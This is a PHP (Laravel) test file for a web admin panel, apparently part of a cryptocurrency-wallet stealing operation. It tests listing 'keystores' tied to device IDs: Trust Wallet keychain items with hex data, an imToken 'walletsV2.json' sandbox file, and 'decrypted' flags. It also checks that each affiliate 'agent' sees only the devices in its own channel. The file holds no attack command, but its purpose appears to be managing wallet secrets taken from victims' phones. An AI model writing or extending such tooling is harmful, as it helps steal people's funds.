hashbro
134 lines
5.0 KiB
PHP
134 lines
5.0 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletKeystore;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class KeystoreAdminTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function admin_lists_keystores_and_items(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'DEVKEYSTORE01',
|
|
'channel_id' => 'ch-ks-1',
|
|
]);
|
|
$row = WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 1,
|
|
'raw_json' => [
|
|
'kind' => 'keychain.wallets',
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'count' => 1,
|
|
'items' => [[
|
|
'account' => 'trust.account',
|
|
'service' => null,
|
|
'accessGroup' => '9873B38DWV.com.sixdays.trust',
|
|
'protectionClass' => 9,
|
|
'dataHex' => bin2hex('777350'),
|
|
]],
|
|
],
|
|
],
|
|
],
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.home'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.keystores.index'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.source', 'Trust Wallet')
|
|
->assertJsonPath('data.0.decrypted', 1)
|
|
->assertJsonPath('data.0.kind', '钥匙串')
|
|
->assertJsonPath('data.0.item_count', 1)
|
|
->assertJsonPath('data.0.summary', 'trust.account')
|
|
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.keystores.items', $row))
|
|
->assertOk()
|
|
->assertJsonPath('data.items.0.account', 'trust.account')
|
|
->assertJsonPath('data.items.0.data_preview', '777350');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.source', 'Trust Wallet')
|
|
->assertJsonPath('data.0.item_count', 1)
|
|
->assertJsonPath('data.0.summary', 'trust.account');
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_only_sees_own_channel_keystores(): void
|
|
{
|
|
$agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]);
|
|
$agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]);
|
|
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
|
|
|
$devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]);
|
|
$devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]);
|
|
$rowA = WalletKeystore::query()->create([
|
|
'device_id' => $devA->id,
|
|
'source' => 'imToken',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]],
|
|
]);
|
|
$rowB = WalletKeystore::query()->create([
|
|
'device_id' => $devB->id,
|
|
'source' => 'Trust Wallet',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
|
]);
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->get(route('user.home'))
|
|
->assertOk()
|
|
->assertSee('钥匙串');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.data'))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_key', 'dev-ks-a');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.items', $rowA))
|
|
->assertOk()
|
|
->assertJsonPath('data.items.0.account', 'walletsV2.json');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.keystores.items', $rowB))
|
|
->assertForbidden();
|
|
}
|
|
}
|